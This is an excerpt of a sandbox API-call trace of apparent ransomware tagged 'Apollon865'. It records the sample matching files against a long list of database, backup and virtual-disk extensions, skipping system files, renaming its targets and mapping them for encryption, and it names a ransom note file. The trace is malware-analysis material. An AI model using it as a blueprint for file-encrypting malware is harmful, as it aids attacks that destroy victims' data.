	[0082.501] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.501] lstrlenW (lpString="mud") returned 3
	[0082.501] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.501] lstrlenW (lpString="mwb") returned 3
	[0082.501] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.501] lstrlenW (lpString="myd") returned 3
	[0082.501] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.501] lstrlenW (lpString="ndf") returned 3
	[0082.501] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.501] lstrlenW (lpString="nnt") returned 3
	[0082.501] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.501] lstrlenW (lpString="nrmlib") returned 6
	[0082.501] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.501] lstrlenW (lpString="ns2") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.502] lstrlenW (lpString="ns3") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.502] lstrlenW (lpString="ns4") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.502] lstrlenW (lpString="nsf") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.502] lstrlenW (lpString="nv") returned 2
	[0082.502] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.502] lstrlenW (lpString="nv2") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.502] lstrlenW (lpString="nwdb") returned 4
	[0082.502] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.502] lstrlenW (lpString="nyf") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.502] lstrlenW (lpString="odb") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.502] lstrlenW (lpString="odb") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.502] lstrlenW (lpString="oqy") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.502] lstrlenW (lpString="ora") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.502] lstrlenW (lpString="orx") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.502] lstrlenW (lpString="owc") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.502] lstrlenW (lpString="p96") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.502] lstrlenW (lpString="p97") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.502] lstrlenW (lpString="pan") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.502] lstrlenW (lpString="pdb") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.502] lstrlenW (lpString="pdm") returned 3
	[0082.502] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.503] lstrlenW (lpString="pnz") returned 3
	[0082.503] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.503] lstrlenW (lpString="qry") returned 3
	[0082.503] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.503] lstrlenW (lpString="qvd") returned 3
	[0082.503] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.503] lstrlenW (lpString="rbf") returned 3
	[0082.503] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.503] lstrlenW (lpString="rctd") returned 4
	[0082.503] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.503] lstrlenW (lpString="rod") returned 3
	[0082.503] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.503] lstrlenW (lpString="rodx") returned 4
	[0082.503] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.503] lstrlenW (lpString="rpd") returned 3
	[0082.503] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.503] lstrlenW (lpString="rsd") returned 3
	[0082.503] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.503] lstrlenW (lpString="sas7bdat") returned 8
	[0082.503] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.503] lstrlenW (lpString="sbf") returned 3
	[0082.503] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.503] lstrlenW (lpString="scx") returned 3
	[0082.503] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.503] lstrlenW (lpString="sdb") returned 3
	[0082.503] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.503] lstrlenW (lpString="sdc") returned 3
	[0082.503] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.503] lstrlenW (lpString="sdf") returned 3
	[0082.503] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.503] lstrlenW (lpString="sis") returned 3
	[0082.503] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.503] lstrlenW (lpString="spq") returned 3
	[0082.503] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.503] lstrlenW (lpString="te") returned 2
	[0082.503] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.503] lstrlenW (lpString="teacher") returned 7
	[0082.504] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.504] lstrlenW (lpString="tmd") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.504] lstrlenW (lpString="tps") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.504] lstrlenW (lpString="trc") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.504] lstrlenW (lpString="trc") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.504] lstrlenW (lpString="trm") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.504] lstrlenW (lpString="udb") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.504] lstrlenW (lpString="udl") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.504] lstrlenW (lpString="usr") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.504] lstrlenW (lpString="v12") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.504] lstrlenW (lpString="vis") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.504] lstrlenW (lpString="vpd") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.504] lstrlenW (lpString="vvv") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.504] lstrlenW (lpString="wdb") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.504] lstrlenW (lpString="wmdb") returned 4
	[0082.504] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.504] lstrlenW (lpString="wrk") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.504] lstrlenW (lpString="xdb") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.504] lstrlenW (lpString="xld") returned 3
	[0082.504] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.504] lstrlenW (lpString="xmlff") returned 5
	[0082.504] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.505] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll.Apollon865") returned 84
	[0082.505] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.509] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.509] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1206112) returned 1
	[0082.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.510] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.510] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.510] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.511] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x126a60, lpName=0x0) returned 0x15c
	[0082.512] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x126a60) returned 0x2bb0000
	[0082.606] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.606] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.606] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.607] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.607] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0082.607] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.607] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0082.607] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.607] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1
	[0082.619] CloseHandle (hObject=0x15c) returned 1
	[0082.619] CloseHandle (hObject=0x9c) returned 1
	[0082.619] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.619] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.619] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.624] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e38000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd7e38000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 1
	[0082.624] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0082.624] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.625] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".") returned 1
	[0082.625] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="..") returned 1
	[0082.625] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="windows") returned 1
	[0082.625] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0082.625] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="temp") returned 1
	[0082.625] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0082.625] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="boot") returned 1
	[0082.625] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0082.625] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0082.626] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="perflogs") returned 1
	[0082.626] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0082.626] lstrlenW (lpString="XLSLICER.DLL.trx_dll") returned 20
	[0082.626] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll") returned 73
	[0082.626] lstrcpyW (in: lpString1=0x119e670, lpString2="XLSLICER.DLL.trx_dll" | out: lpString1="XLSLICER.DLL.trx_dll") returned="XLSLICER.DLL.trx_dll"
	[0082.626] lstrlenW (lpString="XLSLICER.DLL.trx_dll") returned 20
	[0082.626] lstrlenW (lpString="Apollon865") returned 10
	[0082.626] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0082.626] lstrlenW (lpString=".dll") returned 4
	[0082.626] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".dll") returned 1
	[0082.626] lstrlenW (lpString=".lnk") returned 4
	[0082.626] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".lnk") returned 1
	[0082.626] lstrlenW (lpString=".ini") returned 4
	[0082.626] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".ini") returned 1
	[0082.626] lstrlenW (lpString=".sys") returned 4
	[0082.626] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".sys") returned 1
	[0082.626] lstrlenW (lpString="XLSLICER.DLL.trx_dll") returned 20
	[0082.626] lstrlenW (lpString="bak") returned 3
	[0082.626] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.626] lstrlenW (lpString="ba_") returned 3
	[0082.626] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.626] lstrlenW (lpString="dbb") returned 3
	[0082.626] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.626] lstrlenW (lpString="vmdk") returned 4
	[0082.626] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.626] lstrlenW (lpString="rar") returned 3
	[0082.626] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.626] lstrlenW (lpString="zip") returned 3
	[0082.626] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.626] lstrlenW (lpString="tgz") returned 3
	[0082.626] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.626] lstrlenW (lpString="vbox") returned 4
	[0082.626] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.626] lstrlenW (lpString="vdi") returned 3
	[0082.626] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.626] lstrlenW (lpString="vhd") returned 3
	[0082.626] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.627] lstrlenW (lpString="vhdx") returned 4
	[0082.627] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.627] lstrlenW (lpString="avhd") returned 4
	[0082.627] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.627] lstrlenW (lpString="db") returned 2
	[0082.627] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.627] lstrlenW (lpString="db2") returned 3
	[0082.627] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.627] lstrlenW (lpString="db3") returned 3
	[0082.627] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.627] lstrlenW (lpString="dbf") returned 3
	[0082.627] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.627] lstrlenW (lpString="mdf") returned 3
	[0082.627] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.627] lstrlenW (lpString="mdb") returned 3
	[0082.627] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.627] lstrlenW (lpString="sql") returned 3
	[0082.627] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.627] lstrlenW (lpString="sqlite") returned 6
	[0082.627] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.627] lstrlenW (lpString="sqlite3") returned 7
	[0082.627] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.627] lstrlenW (lpString="sqlitedb") returned 8
	[0082.627] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.627] lstrlenW (lpString="xml") returned 3
	[0082.627] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.627] lstrlenW (lpString="$er") returned 3
	[0082.627] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.627] lstrlenW (lpString="4dd") returned 3
	[0082.627] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.627] lstrlenW (lpString="4dl") returned 3
	[0082.627] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.627] lstrlenW (lpString="^^^") returned 3
	[0082.627] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.627] lstrlenW (lpString="abs") returned 3
	[0082.627] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.627] lstrlenW (lpString="abx") returned 3
	[0082.628] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.628] lstrlenW (lpString="accdb") returned 5
	[0082.628] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.628] lstrlenW (lpString="accdc") returned 5
	[0082.628] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.628] lstrlenW (lpString="accde") returned 5
	[0082.628] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.628] lstrlenW (lpString="accdr") returned 5
	[0082.628] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.628] lstrlenW (lpString="accdt") returned 5
	[0082.628] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.628] lstrlenW (lpString="accdw") returned 5
	[0082.628] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.628] lstrlenW (lpString="accft") returned 5
	[0082.628] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.628] lstrlenW (lpString="adb") returned 3
	[0082.628] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.628] lstrlenW (lpString="adb") returned 3
	[0082.628] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.628] lstrlenW (lpString="ade") returned 3
	[0082.628] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.628] lstrlenW (lpString="adf") returned 3
	[0082.628] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.628] lstrlenW (lpString="adn") returned 3
	[0082.628] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.628] lstrlenW (lpString="adp") returned 3
	[0082.628] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.628] lstrlenW (lpString="alf") returned 3
	[0082.628] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.628] lstrlenW (lpString="ask") returned 3
	[0082.628] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.628] lstrlenW (lpString="btr") returned 3
	[0082.628] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.628] lstrlenW (lpString="cat") returned 3
	[0082.628] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.628] lstrlenW (lpString="cdb") returned 3
	[0082.628] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.628] lstrlenW (lpString="ckp") returned 3
	[0082.628] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.629] lstrlenW (lpString="cma") returned 3
	[0082.629] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.629] lstrlenW (lpString="cpd") returned 3
	[0082.629] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.629] lstrlenW (lpString="dacpac") returned 6
	[0082.629] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.629] lstrlenW (lpString="dad") returned 3
	[0082.629] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.629] lstrlenW (lpString="dadiagrams") returned 10
	[0082.629] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0082.629] lstrlenW (lpString="daschema") returned 8
	[0082.629] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.629] lstrlenW (lpString="db-journal") returned 10
	[0082.629] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0082.629] lstrlenW (lpString="db-shm") returned 6
	[0082.629] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.629] lstrlenW (lpString="db-wal") returned 6
	[0082.629] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.629] lstrlenW (lpString="dbc") returned 3
	[0082.629] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.629] lstrlenW (lpString="dbs") returned 3
	[0082.629] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.629] lstrlenW (lpString="dbt") returned 3
	[0082.629] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.629] lstrlenW (lpString="dbv") returned 3
	[0082.629] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.629] lstrlenW (lpString="dbx") returned 3
	[0082.629] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.629] lstrlenW (lpString="dcb") returned 3
	[0082.629] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.629] lstrlenW (lpString="dct") returned 3
	[0082.629] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.629] lstrlenW (lpString="dcx") returned 3
	[0082.629] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.629] lstrlenW (lpString="ddl") returned 3
	[0082.629] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.629] lstrlenW (lpString="dlis") returned 4
	[0082.629] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.630] lstrlenW (lpString="dp1") returned 3
	[0082.630] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.630] lstrlenW (lpString="dqy") returned 3
	[0082.630] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.630] lstrlenW (lpString="dsk") returned 3
	[0082.630] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.630] lstrlenW (lpString="dsn") returned 3
	[0082.630] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.630] lstrlenW (lpString="dtsx") returned 4
	[0082.630] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.630] lstrlenW (lpString="dxl") returned 3
	[0082.630] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.630] lstrlenW (lpString="eco") returned 3
	[0082.630] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.630] lstrlenW (lpString="ecx") returned 3
	[0082.630] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.630] lstrlenW (lpString="edb") returned 3
	[0082.630] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.630] lstrlenW (lpString="epim") returned 4
	[0082.630] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.630] lstrlenW (lpString="fcd") returned 3
	[0082.630] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.630] lstrlenW (lpString="fdb") returned 3
	[0082.630] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.630] lstrlenW (lpString="fic") returned 3
	[0082.630] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.630] lstrlenW (lpString="flexolibrary") returned 12
	[0082.630] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0082.630] lstrlenW (lpString="fm5") returned 3
	[0082.630] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.630] lstrlenW (lpString="fmp") returned 3
	[0082.630] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.630] lstrlenW (lpString="fmp12") returned 5
	[0082.630] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.630] lstrlenW (lpString="fmpsl") returned 5
	[0082.630] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.630] lstrlenW (lpString="fol") returned 3
	[0082.630] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.631] lstrlenW (lpString="fp3") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.631] lstrlenW (lpString="fp4") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.631] lstrlenW (lpString="fp5") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.631] lstrlenW (lpString="fp7") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.631] lstrlenW (lpString="fpt") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.631] lstrlenW (lpString="frm") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.631] lstrlenW (lpString="gdb") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.631] lstrlenW (lpString="gdb") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.631] lstrlenW (lpString="grdb") returned 4
	[0082.631] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.631] lstrlenW (lpString="gwi") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.631] lstrlenW (lpString="hdb") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.631] lstrlenW (lpString="his") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.631] lstrlenW (lpString="ib") returned 2
	[0082.631] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.631] lstrlenW (lpString="idb") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.631] lstrlenW (lpString="ihx") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.631] lstrlenW (lpString="itdb") returned 4
	[0082.631] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.631] lstrlenW (lpString="itw") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.631] lstrlenW (lpString="jet") returned 3
	[0082.631] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.631] lstrlenW (lpString="jtx") returned 3
